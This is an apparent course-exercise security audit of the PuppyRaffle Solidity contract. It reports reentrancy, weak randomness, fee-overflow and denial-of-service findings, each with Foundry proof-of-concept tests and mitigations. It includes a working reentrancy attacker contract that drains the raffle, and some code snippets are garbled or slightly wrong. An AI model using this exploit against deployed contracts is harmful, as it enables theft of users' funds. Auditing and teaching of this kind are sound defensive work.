PuppyRaffle Audit Report

Version 1.0

Vinay

September 5, 2025

Protocol Audit Report

Vinay Vig

September 05, 2025

Prepared by: [Vinay] Lead Auditor: - Vinay

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Vinay's team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Add some notes about the audit went, types of things you found, etc.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas	2
Info	7
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle.sol::refund` can drain all contract funds

Description

The `refund` function in `PuppyRaffle.sol` is vulnerable to a **reentrancy attack** because it updates the player state **after** making an external call to transfer funds.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

This allows an attacker to use a malicious contract with `receive` or `fallback` functions to repeatedly call `refund` before the state is updated, draining the contract's entire balance.

Impact

An attacker can repeatedly exploit `refund` and **drain all funds** from the `PuppyRaffle` contract.

Proof Of Concept (PoC):

Deploy the following malicious contract in `PuppyRaffleTest.t.sol`:

Code

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address ;
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
```

```
            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Then add the following test in `PuppyRaffleTest.t.sol`:

```
    function test_Reentrancy() public {
        address ;
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingContractBalance = address(puppyRaffle).balance;

        // Launch attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Ending attacker contract balance: ", address(attackerContract).balance);
        console.log("Ending raffle contract balance: ", address(puppyRaffle).balance);
    }
```

Recommended Mitigation

Use one of the following approaches:

1. **Add Reentrancy Protection**

- Apply OpenZeppelin's `ReentrancyGuard` to the `refund` function.

2. **Use Checks-Effects-Interactions Pattern**

   - Update the player state **before** making the external call:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrando.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using cryptographically provable random generator such as Chainlink VRF.

[H-3] Integer overflow in `PuppyRaffle.sol::selectWinner` can break fee accounting

Description

The `selectWinner` function updates `totalFees` by casting a `uint256` fee value into a `uint64`. This downcasting introduces a risk of **integer overflow**, where large values wrap around and reset incorrectly.

```
// @audit unsafe cast of uint256 to uint64
totalFees = totalFees + uint64(fee);
```

Since Solidity 0.8+ prevents overflows on `uint256` arithmetic but not on **explicit downcasting**, this bypasses safety checks and can corrupt the fee accounting logic.

Impact

- `totalFees` may overflow and reset to a much lower value.
- Owner can lose collected fees.
- Inconsistent accounting can block withdrawals from `withdrawFees()`.

Proof Of Concept (PoC):

The following test demonstrates how multiple raffles with many players cause `totalFees` to decrease due to overflow:

Code

```
    function test_Integer_Overflow() playersEntered public {
        // Fast-forward time to allow raffle to end
        vm.warp(puppyRaffle.raffleDuration() + puppyRaffle.
            raffleStartTime());
        puppyRaffle.selectWinner();

        // Verify initial fee collection (no overflow here)
        uint256 startingTotalFees = puppyRaffle.totalFees();
        uint256 feesCollected = ((entranceFee * 4) * 20) / 100 ; // //
            4 players entered in modifier
        assertEq(startingTotalFees, feesCollected);

        // Trigger potential overflow by adding 89 new players
        address[] memory players = new address[](89);
        for(uint i = 0; i < players.length; i++){
             players[i] = address(i + 1); // 1 for avoiding address(0);
        }

        // We will enter raffle again
```

```
        vm.deal(address(this), players.length * entranceFee);
        puppyRaffle.enterRaffle{value: players.length * entranceFee}(
            players);

        // Fast-forward again for raffle end
        vm.warp(puppyRaffle.raffleDuration() + puppyRaffle.
            raffleStartTime());

        // Select winner and observe overflow effect
        puppyRaffle.selectWinner();
        uint256 endingTotalFees = puppyRaffle.totalFees();

        console.log("ending total fees", endingTotalFees);

        // Assert that overflow reduced total fees unexpectedly
        assert(endingTotalFees < startingTotalFees);

        // Withdraw should fail due to broken require from overflow
        vm.expectRevert();
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation

- Avoid unsafe downcasting.
- Store `totalFees` as `uint256` instead of `uint64`.
- If smaller types are required for gas optimization, add explicit checks before casting to ensure the value does not overflow.

```
    // State Variable
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;

    // In `PuppyRaffle.sol::selectWinner`
-   totalFees = totalFees + uint64(fee);
+   totalFees = totalFees + fee; // keep as uint256
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be automatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit DoS attack
@>    for (uint256 i = 0; i < players.length - 1; i++) {
             for (uint256 j = i + 1; j < players.length; j++) {
                 require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```

Impact The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof Of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 gas - 2nd 100 players: ~18995515 gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
        function test_denialOfService() public {
            vm.txGasPrice(1);

            // Let's enter 100 players
            uint256 playersNum = 100;
            address[] memory players = new address[](playersNum);
            for(uint256 i = 0; i < playersNum; i++) {
                players[i] = address(i);
            }
            // see how much gas it costs
            uint256 gasStart = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * players.length
                }(players);
            uint256 gasEnd = gasleft();
            uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
            console.log("Gas cost of the first 100 players",
                gasUsedFirst);

            // now for the 2nd 100 players
            address[] memory playersTwo = new address[](playersNum);
            for(uint256 i = 0; i < playersNum; i++) {
                playersTwo[i] = address(i + playersNum); // 0, 1, 2 ->
                    100, 101, 102
```

````
            }
            // see how much gas it costs
            uint256 gasStartSecond = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length}(playersTwo);
            uint256 gasEndSecond = gasleft();
            uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
            console.log("Gas cost of the first second 100 players", gasUsedSecond);

            assert(gasUsedFirst < gasUsedSecond);
        }
    ```
</details>

**Recommended Mitigation:** There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```diff
+ uint256 public raffleID;
+ mapping (address => uint256) public usersToRaffleId;
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");

        for (uint256 i = 0; i < newPlayers.length; i++) {
+            // Check for duplicates
+            require(usersToRaffleId[newPlayers[i]] != raffleID, "PuppyRaffle: Already a participant");

            players.push(newPlayers[i]);
+            usersToRaffleId[newPlayers[i]] = raffleID;
        }

-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-        }

        emit RaffleEnter(newPlayers);
````

```
    }
.
.
.

function selectWinner() external {
        //Existing code
+    raffleID = raffleID + 1;
    }
```

[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users coud easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or recieve function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to calm their prize. (Recommended)

> Pull over Push

Low

[L-1] `getActivePlayerIndex` in `PuppyRaffle.sol` incorrectly returns 0 for active player at index 0

Description

The `getActivePlayerIndex` function returns the index of a player in the `players` array. However, if the player is at index 0, it returns 0, which is indistinguishable from the case where the player is not in the array (i.e., not active). This ambiguity can mislead users or contracts relying on this function to determine player status.

```
for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

This design flaw makes it impossible to reliably distinguish whether a player is at index 0 or not in the raffle.

Impact

- Contracts or users cannot accurately determine if a player is active when they are at index 0. - Misleading return values may lead to incorrect logic in dependent contracts or frontends.
- Potential for errors in raffle participation tracking or winner selection processes.

Proof Of Concept (PoC):

The following test demonstrates that `getActivePlayerIndex` returns 0 for a player at index 0, making it indistinguishable from a non-active player:

Code

```
    function test_getActivePlayerIndexReturns0EvenIfPlayerIsActive()
        public {
        // Arrange
        address[] memory players = new address[](1);
        players[0] = address(1);
        vm.deal(address(this), players.length * entranceFee);

        // Act
        uint256 beforeEntry = puppyRaffle.getActivePlayerIndex(players
            [0]);

        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);

        uint256 afterEntry = puppyRaffle.getActivePlayerIndex(players
            [0]);
```

```
        // Assert
        assertEq(beforeEntry, afterEntry); // Returns 0 despite player being active at index 0
    }
```

Recommended Mitigation

- Modify the function to return a value that distinguishes between a player at index 0 and a non-active player.
- One approach is to return a `uint256` index with a sentinel value (e.g., `type(uint256).max`) for non-active players.
- Alternatively, return a tuple `(bool, uint256)` to indicate whether the player is active and their index.

```
- function getActivePlayerIndex(address player) external view returns (uint256) {
+ function getActivePlayerIndex(address player) external view returns (bool, uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
-           return i;
+           return (true, i);
        }
    }
-   return 0;
+   return (false, 0);
}
```

This change ensures that a player at index 0 is correctly identified as active, avoiding ambiguity with non-active players.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+        uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playerLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of solidity in your contracts instead of wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity ^0.8.0;`

- Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (`at least 0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
        uint256 public constant FEE_PERCENTAGE = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Additional findings not taught in course

MEV